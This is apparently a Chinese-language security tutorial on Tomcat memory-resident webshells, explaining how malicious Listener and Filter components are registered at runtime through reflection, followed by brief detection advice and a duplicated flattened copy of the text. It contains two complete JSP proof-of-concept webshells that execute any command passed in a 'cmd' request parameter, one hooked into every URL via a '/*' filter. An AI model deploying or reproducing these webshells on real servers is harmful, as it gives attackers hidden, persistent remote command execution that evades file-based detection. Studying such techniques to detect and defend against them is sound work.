从小白到大神 | 一篇文章带你了解内存马(附PoC)
字数 1491 2025-08-10 12:17:56

内存马技术详解与实战教学

一、基础概念

1.1 内存与硬盘的区别

  • 硬盘

    • 存储程序的可执行文件、库文件、配置文件和其他数据文件
    • 程序首次运行或需要时从硬盘加载到内存
    • 容量大但读写速度较慢
  • 内存

    • 存储程序运行时需要的指令和数据(代码、变量、对象、堆栈等)
    • CPU直接从内存读取内容进行处理
    • 容量小但读写速度快

1.2 内存马与传统木马的区别

特性 传统木马 内存马
存储位置 硬盘文件 内存
持久性 依赖文件存在 动态注册为程序一部分
检测难度 相对容易 难以检测
执行方式 文件执行 内存驻留

二、Tomcat内存马技术

2.1 技术背景

  • Java会将JSP文件翻译成Servlet文件
  • JSP支持热部署,可不停止服务添加新页面
  • Servlet 3.0支持动态注册Web组件

2.2 Listener内存马

2.2.1 实现原理

  1. 调用链分析

    requestInitialized:13, Shell_Listener (Listener)
    fireRequestInitEvent:5992, StandardContext (org.apache.catalina.core)
    invoke:121, StandardHostValve (org.apache.catalina.core)
    invoke:92, ErrorReportValve (org.apache.catalina.valves)
    invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
    invoke:78, StandardEngineValve (org.apache.catalina.core)
    service:357, CoyoteAdapter (org.apache.catalina.connector)
    service:382, Http11Processor (org.apache.coyote.http11)
    process:65, AbstractProcessorLight (org.apache.coyote)
    process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
    doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
    run:49, SocketProcessorBase (org.apache.tomcat.util.net)
    runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
    run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
    run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
    run:748, Thread (java.lang)
    
  2. 关键方法

    • StandardContext.fireRequestInitEvent() 调用监听器的 requestInitialized 方法
    • 通过 getApplicationEventListeners() 获取监听器列表
    • 使用 addApplicationEventListener() 添加自定义监听器

2.2.2 实现步骤

  1. 获取 StandardContext 对象:

    • 通过反射从 RequestFacade 获取 Request 对象
    • Request 对象获取 StandardContext
  2. 创建恶意 ServletRequestListener 实现类

  3. 使用 addApplicationEventListener() 注册监听器

2.2.3 PoC代码

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>

<%!
public class Shell_Listener implements ServletRequestListener {
    public void requestInitialized(ServletRequestEvent sre) {
        HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }
    public void requestDestroyed(ServletRequestEvent sre) {}
}
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    Shell_Listener shell_Listener = new Shell_Listener();
    context.addApplicationEventListener(shell_Listener);
%>

2.3 Filter内存马

2.3.1 实现原理

  1. 调用链分析

    doFilter:11, Shell_Filter (Filter)
    internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
    doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
    invoke:197, StandardWrapperValve (org.apache.catalina.core)
    invoke:97, StandardContextValve (org.apache.catalina.core)
    invoke:540, AuthenticatorBase (org.apache.catalina.authenticator)
    invoke:135, StandardHostValve (org.apache.catalina.core)
    invoke:92, ErrorReportValve (org.apache.catalina.valves)
    invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
    invoke:78, StandardEngineValve (org.apache.catalina.core)
    service:357, CoyoteAdapter (org.apache.catalina.connector)
    service:382, Http11Processor (org.apache.coyote.http11)
    process:65, AbstractProcessorLight (org.apache.coyote)
    process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
    doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
    run:49, SocketProcessorBase (org.apache.tomcat.util.net)
    runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
    run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
    run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
    run:748, Thread (java.lang)
    
  2. 关键组件

    • filterMaps:存储Filter映射关系
    • filterDefs:存储Filter定义
    • filterConfigs:存储Filter配置

2.3.2 实现步骤

  1. 获取 StandardContext 对象

  2. 创建并配置 FilterMap

    • 设置URL模式(addURLPattern)
    • 设置Filter名称(setFilterName)
    • 设置分发类型(setDispatcher)
  3. 创建并配置 FilterDef

    • 设置Filter实例(setFilter)
    • 设置Filter名称(setFilterName)
    • 设置Filter类名(setFilterClass)
  4. 创建 ApplicationFilterConfig 并添加到 filterConfigs

2.3.3 PoC代码

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
public class Shell_Filter implements Filter {
    public void init(FilterConfig filterConfig) {}
    public void destroy() {}
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            Runtime.getRuntime().exec(cmd);
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
}
%>

<%
    // 获取StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    // 创建恶意Filter
    Shell_Filter filter = new Shell_Filter();
    
    // 配置FilterDef
    String name = "CommonFilter";
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    standardContext.addFilterDef(filterDef);
    
    // 配置FilterMap
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);
    
    // 配置FilterConfig
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    filterConfigs.put(name, filterConfig);
%>

三、防御措施

  1. 检测与防护

    • 监控JVM中动态加载的类和组件
    • 检查Tomcat容器中的动态注册组件
    • 使用RASP(运行时应用自我保护)技术
  2. 最佳实践

    • 限制动态注册Web组件的能力
    • 定期检查容器中的Listener和Filter
    • 实施最小权限原则
  3. 检测工具

    • 内存马检测工具(如Java-Memshell-Scanner)
    • 行为分析工具
    • 日志审计工具

四、总结

内存马技术利用Java Web容器动态注册机制,将恶意代码驻留在内存中,具有高度隐蔽性和持久性。理解其实现原理对于安全防护至关重要。防御方应关注运行时行为监控和异常组件检测,构建纵深防御体系。

内存马技术详解与实战教学 一、基础概念 1.1 内存与硬盘的区别 硬盘 : 存储程序的可执行文件、库文件、配置文件和其他数据文件 程序首次运行或需要时从硬盘加载到内存 容量大但读写速度较慢 内存 : 存储程序运行时需要的指令和数据(代码、变量、对象、堆栈等) CPU直接从内存读取内容进行处理 容量小但读写速度快 1.2 内存马与传统木马的区别 | 特性 | 传统木马 | 内存马 | |------|---------|--------| | 存储位置 | 硬盘文件 | 内存 | | 持久性 | 依赖文件存在 | 动态注册为程序一部分 | | 检测难度 | 相对容易 | 难以检测 | | 执行方式 | 文件执行 | 内存驻留 | 二、Tomcat内存马技术 2.1 技术背景 Java会将JSP文件翻译成Servlet文件 JSP支持热部署,可不停止服务添加新页面 Servlet 3.0支持动态注册Web组件 2.2 Listener内存马 2.2.1 实现原理 调用链分析 : 关键方法 : StandardContext.fireRequestInitEvent() 调用监听器的 requestInitialized 方法 通过 getApplicationEventListeners() 获取监听器列表 使用 addApplicationEventListener() 添加自定义监听器 2.2.2 实现步骤 获取 StandardContext 对象: 通过反射从 RequestFacade 获取 Request 对象 从 Request 对象获取 StandardContext 创建恶意 ServletRequestListener 实现类 使用 addApplicationEventListener() 注册监听器 2.2.3 PoC代码 2.3 Filter内存马 2.3.1 实现原理 调用链分析 : 关键组件 : filterMaps :存储Filter映射关系 filterDefs :存储Filter定义 filterConfigs :存储Filter配置 2.3.2 实现步骤 获取 StandardContext 对象 创建并配置 FilterMap : 设置URL模式( addURLPattern ) 设置Filter名称( setFilterName ) 设置分发类型( setDispatcher ) 创建并配置 FilterDef : 设置Filter实例( setFilter ) 设置Filter名称( setFilterName ) 设置Filter类名( setFilterClass ) 创建 ApplicationFilterConfig 并添加到 filterConfigs 2.3.3 PoC代码 三、防御措施 检测与防护 : 监控JVM中动态加载的类和组件 检查Tomcat容器中的动态注册组件 使用RASP(运行时应用自我保护)技术 最佳实践 : 限制动态注册Web组件的能力 定期检查容器中的Listener和Filter 实施最小权限原则 检测工具 : 内存马检测工具(如Java-Memshell-Scanner) 行为分析工具 日志审计工具 四、总结 内存马技术利用Java Web容器动态注册机制,将恶意代码驻留在内存中,具有高度隐蔽性和持久性。理解其实现原理对于安全防护至关重要。防御方应关注运行时行为监控和异常组件检测,构建纵深防御体系。